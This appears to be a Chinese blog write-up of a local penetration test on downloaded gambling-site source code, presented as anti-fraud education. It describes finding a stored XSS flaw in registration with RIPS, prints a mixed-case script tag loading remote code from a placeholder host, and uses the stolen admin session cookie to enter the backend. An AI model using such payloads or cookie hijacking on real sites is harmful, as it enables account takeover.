对赌博网站的一次渗透实录 揭秘后台暗箱操作

前言

测试为本地测试，重点是普及防骗知识。

搭建环境

apache mysql 5.6 php5.6

渗透工具

RIPS审计 xss

0x01

首先网站配置好数据库账户密码，数据库导入进去。访问看看是否成功！

ok，成功搭建好了。

0x02

打开我们新入手的工具RIPS，配置好网站目录，开始看看有多少漏洞。

漏洞有点多，我们挑一个最简单的xss来看看结果。一共有32个结果，其中有一个是用户注册界面的xss。学过的同学应该懂了这代表着什么。

将用户post的注册参数不加过滤的直接带进了sql语句，导致用户名可插入xss代码。如果后台查看会员管理，是一定会触发的。装了http-only的除外。

注册的xss代码就不发出来了，仅仅提供思路。

0x03

接下来我们模仿管理员的正常操作。登录后台，查看会员有没有异常情况。

看到编号18的空白处我就放心了。有的同学不懂我们就来诠释一下吧。打开firfox的插件，查看源代码如下。

可以看到，位于编号18的用户名字并不是真的空白，而是一串xss代码。

<sCrIpt srC=//xxx></sCRipT>

不理解也没关系，直接看本地的xss平台收信箱。

可以看到自己是有cookie了，PHPSESSID后面那串32位的字母就是cookie。我们修改cookie后成功登录。

由于这套源码从网上下载下来的，有充值记录我也不清楚为什么哈哈哈，我就把敏感信息截了。

0x04

进了后台我们来看看输得原因吧！

看到最右边的123456了嘛。我们随便点一个试试。

这下你明白了嘛？

希望大家看了这篇文章能够点个赞，搭建不易，为了让赌徒们迷途知返我也是下了决心！